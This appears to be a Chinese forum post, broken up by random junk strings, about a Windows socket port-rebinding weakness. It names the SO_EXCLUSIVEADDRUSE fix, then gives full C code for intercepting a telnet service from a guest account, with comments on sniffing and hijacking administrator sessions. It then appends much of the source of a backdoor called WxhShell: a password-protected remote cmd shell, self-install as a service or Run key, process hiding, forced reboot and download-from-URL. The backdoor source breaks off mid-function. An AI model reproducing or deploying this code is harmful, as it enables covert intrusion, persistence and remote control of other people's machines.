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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O(tX8P
Q5N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j
[rB"N`0 WVmq% ,7 saddr.sin_family = AF_INET; ddfs8\ u)ev{)$TM saddr.sin_addr.s_addr = htonl(INADDR_ANY); )I^2k4Cg" Nc:({@I bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ({-GOw46 n6*En7IVh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !L;\cl Aub]IO~ 这意味着什么?意味着可以进行如下的攻击: -b9;5eS! $we]91(:: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {/X4(;~0 4q'B<7{Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :N<.?%Kf iT;@bp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t^xTFn 2:BF[c` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9Ro6fjjE \k]x;S<a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B!dU>0&Ct kloR#?8A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R*oXmuOsYA Vs)--t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >_c5r?]S G P+!"wX0*N #include i]=&
#include EyI}{6~F #include Ti2Ls5H} #include `}m Q DWORD WINAPI ClientThread(LPVOID lpParam); v?0r`<Mn int main() &-czStQ {
[U@*1 WORD wVersionRequested; "+z?x~rk DWORD ret; K]qM~v<A WSADATA wsaData; R64!>o"nED BOOL val; T;diNfgg SOCKADDR_IN saddr; s-Aw<Q)d SOCKADDR_IN scaddr; /wxE1][. int err; hY*0aZ|( SOCKET s; 7R3fqU.Rq SOCKET sc; PN$X N< int caddsize; osOVg0Gyj HANDLE mt; Fhv2V,nZ< DWORD tid; T1`|~Z?g- wVersionRequested = MAKEWORD( 2, 2 ); T"p(]@Ng err = WSAStartup( wVersionRequested, &wsaData ); l
akp if ( err != 0 ) { yJsH=5A printf("error!WSAStartup failed!\n"); &f>eQS=( return -1; l{:a1^[>y } j7MO'RX`& saddr.sin_family = AF_INET; Xt{*N-v\ -UZ@G~K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]&ixhW g|Y] wd saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R7s|`\ saddr.sin_port = htons(23); WKrX,GF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rZojY}dWJ { SVa6V}"Iv printf("error!socket failed!\n"); FZ|CqD"# return -1; !@I}mQ ~ } Uu"0rUzt val = TRUE; QN>7~=` //SO_REUSEADDR选项就是可以实现端口重绑定的 5tv<8~:K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6 CC &Z> { - ZW3 printf("error!setsockopt failed!\n"); !Y<oN~<%) return -1; Uw/l>\ } vBvNu<v7te //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1AHx"e,;L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g7CXlT0Q6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W%e_~$H0 ?\/qeGW6G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1^dJg8 { joXfmHB} ret=GetLastError(); 16X@^j_ printf("error!bind failed!\n"); 8ZcU[8r return -1; J9%@VZut } <&pKc6+{ listen(s,2); GIftrYr while(1) *U=]@I}J { C#i UP|7hh caddsize = sizeof(scaddr); H^~.mBP
n //接受连接请求 -fgC"2H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sM\lO if(sc!=INVALID_SOCKET) dQgk.k { m,> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p<`+sf}A: if(mt==NULL) #FYAV%pi { L{ho*^b printf("Thread Creat Failed!\n"); ?$z.K>S5 break; 2X88: } V (rr"K+ } g,]@4| CloseHandle(mt); W~ULc9 } 6QZ5|T ] closesocket(s); q
(+ZwaV@ WSACleanup(); s?3i)Ymr return 0; !umEyd@ " } G{x[uE2X&f DWORD WINAPI ClientThread(LPVOID lpParam) [9mL $;M
W { `nJu?5 SOCKET ss = (SOCKET)lpParam; ^1jk$$f SOCKET sc; HFo-4" unsigned char buf[4096]; O'NW
Ebl/ SOCKADDR_IN saddr; 0nW F long num; H]31l~@] DWORD val; IeF keE DWORD ret; ~VTs:h //如果是隐藏端口应用的话,可以在此处加一些判断 Y7U&Q:5' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1;| LI? saddr.sin_family = AF_INET; 2GWDEgI1o saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b^`AJK saddr.sin_port = htons(23); ohc1 ~?3b if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ujgLJ77 { S{p}ux[}= printf("error!socket failed!\n"); .dq
"k return -1; GlR~%q-jiQ } rUwE?Ekn/ val = 100; (E($3t8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :WXf.+IA { :#="% ret = GetLastError(); L>Jd7;= return -1; MonS hIz
}
FfM nul if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ])y{BlZ { zW4O4b$T ret = GetLastError(); ]UNZd/hIL return -1; [cU,!={ } aW{L7N % if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `Y3( ~~YGn { }qC SS<a printf("error!socket connect failed!\n"); Pg^h,2h closesocket(sc); FWPW/oC closesocket(ss); rhY_|bi4P return -1; K5ZnS`c; } uhn%lV] while(1) s` >H { Q!CO0w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -G ?%QG`v //如果是嗅探内容的话,可以再此处进行内容分析和记录 w;yx<1f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RTd^ImV num = recv(ss,buf,4096,0); IG.f=+<0 if(num>0) 6 ,N6jaW send(sc,buf,num,0); Li`hdrO'ii else if(num==0) ]TK=>;& break; 3n(*E_n num = recv(sc,buf,4096,0); t&c&KFK)I& if(num>0) pZ+j[! send(ss,buf,num,0); vC9@,[ else if(num==0) Q5E:|)G break; +cfziQ$' } ++92:decM closesocket(ss); Uh6mGLz*& closesocket(sc); =B5E0x return 0 ; w@N{@tG } fwmLJ5o
N F+j O*F2h fuSq ={] ========================================================== /GsrGX8 ."JzDs 下边附上一个代码,,WXhSHELL :|XCnK0 !Q[}s#g ========================================================== SWoEt1w irFc}.dI #include "stdafx.h" -h\@RC 'yT`ef #include <stdio.h> &|z544 #include <string.h> ag]*DsBt #include <windows.h> \8_V(lU
#include <winsock2.h> &,uC9$ #include <winsvc.h> J'7 y
#include <urlmon.h> =49o U !d4HN.a7+u #pragma comment (lib, "Ws2_32.lib") T8q[7Zn #pragma comment (lib, "urlmon.lib") 5 LMj!)3 !V(`ZH #define MAX_USER 100 // 最大客户端连接数 oYq,u@oM #define BUF_SOCK 200 // sock buffer M]0^ind #define KEY_BUFF 255 // 输入 buffer `!kL1oUYE 7x+=7,BZd #define REBOOT 0 // 重启 FuMq|S #define SHUTDOWN 1 // 关机 r
}
7:#XQ Hs<n^fyf #define DEF_PORT 5000 // 监听端口 e 2*F;.) LV=^jsQ5 #define REG_LEN 16 // 注册表键长度 ^?Vq L\V5 #define SVC_LEN 80 // NT服务名长度 DB Xm lQr6;D}+ // 从dll定义API -RCv7U` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !d|8'^gc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j&llrN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |M _%QM. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )=(n/vckM z[FI2jl // wxhshell配置信息 Q2R-z^pd struct WSCFG { H:E5xz3VQ int ws_port; // 监听端口 I3ho(Kdi char ws_passstr[REG_LEN]; // 口令 gL,"ef+nM int ws_autoins; // 安装标记, 1=yes 0=no p[;8 char ws_regname[REG_LEN]; // 注册表键名 U$@83?O{iM char ws_svcname[REG_LEN]; // 服务名 JB'qiuhab char ws_svcdisp[SVC_LEN]; // 服务显示名 <"NyC?b+G char ws_svcdesc[SVC_LEN]; // 服务描述信息 _s@bz|yqw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 <r2*` int ws_downexe; // 下载执行标记, 1=yes 0=no 09x+Tko9;* char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \v s%U}IrO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T"A^[r* ^OjvL6A/p }; I W8. :D^Y? // default Wxhshell configuration MyM+C} struct WSCFG wscfg={DEF_PORT, 9M0d+:YJ "xuhuanlingzhe", +QQYPEx+ 1, 1[[TB .xF "Wxhshell", x{QBMe` "Wxhshell", IE@ z@+\( "WxhShell Service", G#g{3}dcK "Wrsky Windows CmdShell Service", ?V6 %>RU "Please Input Your Password: ", [M<{P5q 1, (-#rFO5~l " http://www.wrsky.com/wxhshell.exe", D;J|eC>^ "Wxhshell.exe" Vy&f"4~ }; !}j,TPpG WkcH5[ // 消息定义模块 zdT ->% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y"s
)u7 char *msg_ws_prompt="\n\r? for help\n\r#>"; u[:
P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; U!.~XT= char *msg_ws_ext="\n\rExit."; 0~:eSWz= char *msg_ws_end="\n\rQuit."; zv|M*Wu char *msg_ws_boot="\n\rReboot..."; ,Os7T 1> char *msg_ws_poff="\n\rShutdown..."; 9DY|Sa]#= char *msg_ws_down="\n\rSave to "; D'85VZEFyo wFn@\3%l` char *msg_ws_err="\n\rErr!"; AE]i
V {p char *msg_ws_ok="\n\rOK!"; )fy<P;g >9(7h&[Y char ExeFile[MAX_PATH]; &l?N:(r int nUser = 0; w64.R4e HANDLE handles[MAX_USER]; ;*"!:GR%h int OsIsNt; ''%;EW> *u<rU,C8 SERVICE_STATUS serviceStatus; %h3L SERVICE_STATUS_HANDLE hServiceStatusHandle; k>$FT` EI%M
Azj} // 函数声明 %e(9-M4* int Install(void); k62$:9`5 int Uninstall(void); %
i%ew4 int DownloadFile(char *sURL, SOCKET wsh); %f>X-*}NI- int Boot(int flag); (v|ixa void HideProc(void); - a int GetOsVer(void); CL
EpB2_ int Wxhshell(SOCKET wsl); $dr27tse&< void TalkWithClient(void *cs); V>1D1 int CmdShell(SOCKET sock); y4 dp1<t% int StartFromService(void); Bmi:2} j int StartWxhshell(LPSTR lpCmdLine); ;`;G/1]#9 'MSEki67 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /0Rt +` VOID WINAPI NTServiceHandler( DWORD fdwControl ); d?Ia#K93G s+(l7xH$ // 数据结构和表定义 %_]=i@Y~ SERVICE_TABLE_ENTRY DispatchTable[] = 3$MYS^D { r.Y*{!t {wscfg.ws_svcname, NTServiceMain}, T$#FAEz {NULL, NULL} =I+l=;05Rd }; ev)rOcOU (ra:?B // 自我安装 3"HGEUqA int Install(void) D)f5pEq' { MT;SRAmUr char svExeFile[MAX_PATH]; 6#OL
;Y]_ HKEY key; 3D]2$a_d strcpy(svExeFile,ExeFile); r'Hy}HWuF 4jDs0Hn" // 如果是win9x系统,修改注册表设为自启动 uWJ#+XK. if(!OsIsNt) { N8Rm}) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L*kh?PS; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}i&HIr!b RegCloseKey(key); Usa{J: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gr`MGQ, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E.?E~}z RegCloseKey(key); g,A.Y,}) return 0; [K"U_b}w } DBqg_v } I
rtF4ia. } yS1b,cxz else { HA$^ *qn zz7Y/653 // 如果是NT以上系统,安装为系统服务 4iYgs-, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %RCl+hOP.h if (schSCManager!=0) o(B<!ji~' { J=f:\]@Oy SC_HANDLE schService = CreateService v_?s1+w ( owfp^hla schSCManager, B2ek&<I7N wscfg.ws_svcname, :t2 9`x wscfg.ws_svcdisp, Z;|0"K
SERVICE_ALL_ACCESS, vjOG?- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %igFHh? SERVICE_AUTO_START, GInZ53cQ SERVICE_ERROR_NORMAL, *F26}q svExeFile, .g6PrhzFbk NULL, hqhu^.}] NULL, c+,7Zu! NULL, FgFJ0fo NULL, &=+cov(3 NULL ]Ssw32yn ); VJ~X#Q if (schService!=0) )OW(T^>_'I { %a)0?U CloseServiceHandle(schService); aTL8l.c2 CloseServiceHandle(schSCManager); b0~H>cnA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p=mCK@ strcat(svExeFile,wscfg.ws_svcname); v!pj v% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PV,kYM6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yV 9]_k RegCloseKey(key); ;~'cITL return 0; 7- *(a } }[=xe(4]D } (<d&BV- " CloseServiceHandle(schSCManager); 'S%} ?#J } [*Aqy76Qa } Yj^avO=; 1sIy*z return 1; QK``tWLIg7 } L5-T6CD $'J6#Vs // 自我卸载 RTPq8S" int Uninstall(void) Ef,7zKG { q 2_N90u HKEY key; &viwo}ls0 %v`-uAy: if(!OsIsNt) { uv~qK:Nw( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8xD<A| RegDeleteValue(key,wscfg.ws_regname); 8osS OOzM RegCloseKey(key); A;kw}! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >m2<Nl} RegDeleteValue(key,wscfg.ws_regname); z^ a6%N RegCloseKey(key); )JY_eG&2Dx return 0;
(dLE<\E } &*>CPO } dIBKE0` } jE?\Yv3 else { *x*,I,03 (.@p4q Q- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (_i
v N if (schSCManager!=0) _v~D{H&} { zDvP7hl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7T|J[WO if (schService!=0) 'o)ve( { /IrR,bvA if(DeleteService(schService)!=0) { 8XS{6< CloseServiceHandle(schService); AihL>a% CloseServiceHandle(schSCManager); qmue!Fv#g return 0; ]@ Sc} } Wd^F%)( CloseServiceHandle(schService); 23(E3:. } mD ^qx0o< CloseServiceHandle(schSCManager); Bp$+ F/ } @o3R`ZgC]\ } c:@OX[## ]9KQP-p' return 1; cAKoPU>U } v0hfY }`<>$2b // 从指定url下载文件 mNnw G);$ int DownloadFile(char *sURL, SOCKET wsh) \AtwO { Kl46CZs#8 HRESULT hr; HM$`z"p5jg char seps[]= "/"; }!Diai*C char *token; N[
Lz 0c? char *file; iw~V_y4 char myURL[MAX_PATH]; VM2@{V/=~ char myFILE[MAX_PATH]; VhH]n yi7D aaf_3UH.B strcpy(myURL,sURL); $cJN9|$6 token=strtok(myURL,seps); avxn }*:X. while(token!=NULL) rjpafGCp { OFQi&/ file=token; 0r$hPmvv8 token=strtok(NULL,seps); 4xAlaOw5M } TOPPa?=vk F~Z 0 GetCurrentDirectory(MAX_PATH,myFILE); [K)1!KK,L strcat(myFILE, "\\"); R26tQbwE strcat(myFILE, file); "$V 8y send(wsh,myFILE,strlen(myFILE),0); &x0TnW"g send(wsh,"...",3,0); ?CT^Zegmr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~0^,L3M if(hr==S_OK) |3<ehvKy return 0; uuUVE/^V' else ev: !,}]w return 1; CI,`R&=xO evmEX <N } wD?=u\% & |jaY[_.@ // 系统电源模块 n;k97>m${x int Boot(int flag) J6["j { jC Kt;lj HANDLE hToken; q* y9/HnI TOKEN_PRIVILEGES tkp; ]6VUqFO) t0V_ c'm if(OsIsNt) { }DUDA%U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j]?0}Z* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); );uZ4PNK/? tkp.PrivilegeCount = 1; R&=GB\`:a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mZ5K hPvf8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :5cu,&<Gv if(flag==REBOOT) { #HnyE+tD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zIQc#F6\5 return 0; im?XXsH' } xu?QK6D: else { [A..<[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |phWK^ return 0; 55\X\>
0C7 } _6-/S!7Y\ } *UL|{_)c else { ^qus `6 if(flag==REBOOT) { CMG`'gT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r4NT`&`g? return 0; 2E;%=e } ,^IZ[D>u) else { HlL@{< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;gW|qb+#)j return 0; FTYLMQ
i } 4TQISu) } 4tTZkJc q' V{vFfY% return 1; ot+~|Dl } *1)NABp6D qQ
DFg` // win9x进程隐藏模块 2#:]%y;\ void HideProc(void) uF3p1by { HToN+z%w3H <K[Zl/7I HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9MzkG87J if ( hKernel != NULL ) (Nlm4*{h { >scS wT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N
evvA(M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XsN#<"f;i FreeLibrary(hKernel); ccRk4xR } 4%v+ark8 :*Ggz| return; _}D?+x,C8 } :kx#];2i 4b(irDT3F // 获取操作系统版本 Mjvso0zj int GetOsVer(void) iCSM1W3 { YTPmS\ H _ OSVERSIONINFO winfo; Sd{"A0[A| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @"0N @gU GetVersionEx(&winfo); K<w5[E9V. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >hL'#;:f# return 1; F Hcqu_;J else .x$T al return 0; /~rO2]rZ@ } [pWDhY l/UG+7 // 客户端句柄模块 e(\S,@VN2 int Wxhshell(SOCKET wsl) i |^`gly { :lQjy@J SOCKET wsh; .z>." ` struct sockaddr_in client; WAa1H60VkS DWORD myID; w@ylRq kJeOlO[ while(nUser<MAX_USER) U1|4vd9 { c^WBB$v int nSize=sizeof(client); %=<NqINM[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?jm2|: if(wsh==INVALID_SOCKET) return 1; r~2@#gTbl ZznWs+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7%}3Ghc% if(handles[nUser]==0) DJ[#H closesocket(wsh); U(]5U^ else 99>yaW nUser++; coVT+we } M)pi)$&c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BBJ]>lQ :::f,aCAu return 0; /"{ ,m! } EF=D}"E6pO :RO:k|g // 关闭 socket aw"%B-N\ void CloseIt(SOCKET wsh) /aa;M*Qp { q.QYn.CBZz closesocket(wsh); Iw|[*Nu- nUser--; GO3YXO33 ExitThread(0); *-LU'yM6Yh } : 8<^rP X/7_mU>aKT // 客户端请求句柄 3M*[a~ void TalkWithClient(void *cs) wP1VQUL { CgKSK0/a ?N*@o. SOCKET wsh=(SOCKET)cs; p2vUt char pwd[SVC_LEN]; sx^? Iw,N' char cmd[KEY_BUFF]; ;Hr@0f char chr[1]; ,:4w$!; int i,j; }UdqX1jz E
d/O\v@ while (nUser < MAX_USER) { _NnOmwK7 H
7F~+Q-} if(wscfg.ws_passstr) { o5XUDDi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPv?Hq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SfFR //ZeroMemory(pwd,KEY_BUFF); F^G`Jf i=0; DmPsltpzQ while(i<SVC_LEN) { 64X#:t+ qWRMwvN{ // 设置超时 FOG+[v fd_set FdRead; L [M8[~Hy struct timeval TimeOut; {$:13AnK FD_ZERO(&FdRead); "FIx^ FD_SET(wsh,&FdRead);
Ph{+uI TimeOut.tv_sec=8; $rYu4^ TimeOut.tv_usec=0; m8^2k2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H=RV M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BD#;3?| d$~b` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OBSJbDqT pwd =chr[0]; 6yM dl~. if(chr[0]==0xd || chr[0]==0xa) { EoCwS pwd=0; }B/xQsTx- break; :{Z^ _;Tf } B:.;:AEbT i++; Ud*[2Oi|R } <ijmkNVS Z[bC@y[Wb // 如果是非法用户,关闭 socket }0>/G?2Yp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PW4Wn`u } G_mu7w P`9A?aG.Z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kxwm08/|f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 97dI4t< YDD]n*& while(1) { ADz|Y~V! +[[gU;U"v ZeroMemory(cmd,KEY_BUFF); hzo,.hS's :/l
// 自动支持客户端 telnet标准 MA6%g} o j=0; obolDha while(j<KEY_BUFF) { E_rC"_Zte if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C8q-gP[ cmd[j]=chr[0]; :+!b8[?Z if(chr[0]==0xa || chr[0]==0xd) { ;rL$z;}8 cmd[j]=0; L-$g& - break; LXV6Ew5E } =ApT#*D)o j++; iH0c1}<k$ } R7E"7"M10 RR=l&uT // 下载文件 %BLKB%5 if(strstr(cmd,"http://")) { !{lb# send(wsh,msg_ws_down,strlen(msg_ws_down),0); d6&tz!f if(DownloadFile(cmd,wsh)) 9Wrclai send(wsh,msg_ws_err,strlen(msg_ws_err),0); K$]B"
s else
e90z(EF?0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { rn~D5R } qJj5J;k else { &W!@3O{~. a<.@+sj{ switch(cmd[0]) { iNSJOS V'/%)oU\" // 帮助 kyB]fmS case '?': { B ;$8< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &,7(Wab break; m
0PF"( } oX,M;;Yq // 安装 i`L66uV case 'i': { R&xd
ic! if(Install()) gXMkI$ab send(wsh,msg_ws_err,strlen(msg_ws_err),0); [?*^&[ else mJ7kOQ-.$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=`! break; ?,C,q5
T\ } 6si-IJ // 卸载 .X1niguXH case 'r': { V485Yn!$( if(Uninstall()) MsQS{ok+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?WR={ else u*`GIRfWT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9t1_"{'N1 break; 74#@F{ w } wf1DvsJQl // 显示 wxhshell 所在路径 DYK|"@ case 'p': { ^XVa!s,d char svExeFile[MAX_PATH]; $*R9LPpk+ strcpy(svExeFile,"\n\r");
ZrS!R[ strcat(svExeFile,ExeFile);
.Oh$sma1 send(wsh,svExeFile,strlen(svExeFile),0); t+ ]+Gn break; ,#loVLy } .*"IJD9 // 重启 &ii
=$4"R case 'b': { ^pa).B.`T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Hk`e}} if(Boot(REBOOT)) yI<'J^1C[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); I|H mbTXa else { e>.xXg6Zn closesocket(wsh); [~wcHE ExitThread(0); s2WB4Uk } ps{(UYM=b break; qc F{Kex" } r_m&Jl@4 // 关机 [:qX3"B case 'd': { jo~vOu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U"]i.J1 if(Boot(SHUTDOWN)) [-ecKPx send(wsh,msg_ws_err,strlen(msg_ws_err),0); v( B4Bz2 else { o++Hdvai closesocket(wsh); C7PiuL? ExitThread(0); C2v7( } H<"j3qt break; _guY%2%yR } (k~c]N)v // 获取shell v*LL7b0A case 's': { Kw|`y %~ CmdShell(wsh); ZlzFmNe60 closesocket(wsh); ZHJzh\? ExitThread(0); Jo0x/+?,+ break; PdZSXP4;k } G'Y|MCKz> // 退出 y6oDbwke case 'x': { i747( ^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iDsjIW\j CloseIt(wsh); 9^tyjX2 break; C#R9Hlb } .^23qCs // 离开 AdNsY/ Y( case 'q': {
B|&< send(wsh,msg_ws_end,strlen(msg_ws_end),0); pif gt closesocket(wsh); QZfnoKz WSACleanup(); h!
<8=V( exit(1); q'q{M-U< break; 5cU8GgN` } g2I @j3 } .(-3L9T} } Sy_M!`B 7vFqO; // 提示信息 ;1nd~0o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q,GL#L } )r~Oj3TH } OsXQWSkj~ >/*\xg&J return; y~fy0P:T } __M}50^ w'!gLta // shell模块句柄 [g? NU] int CmdShell(SOCKET sock) nL?B { Xqy{=:0 STARTUPINFO si; -]e@cevy ZeroMemory(&si,sizeof(si)); a/ZfPl0Ns[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^RyrUb si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,x/j&S9! PROCESS_INFORMATION ProcessInfo; "'Q:%_; char cmdline[]="cmd"; ]x|sTKv2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jcj)9;n=! return 0; Q%a4g } ~VKw%WK `PL!>oa(8 // 自身启动模式 QS_u<B int StartFromService(void) o,-@vp { GCoqKE
typedef struct ])`F$S { -[ =`bHo DWORD ExitStatus; X:A\{^~ DWORD PebBaseAddress; >nxtQ DWORD AffinityMask; d={}a,3? DWORD BasePriority; V;!D:N8< ULONG UniqueProcessId; ^6`U0|5mRX ULONG InheritedFromUniqueProcessId; e|I5Nx2) } PROCESS_BASIC_INFORMATION; ,RZktWW_ R?W8l5CIk PROCNTQSIP NtQueryInformationProcess; j{vzCRa>8 MI/1uw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]mp.KvB static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; __QTlj
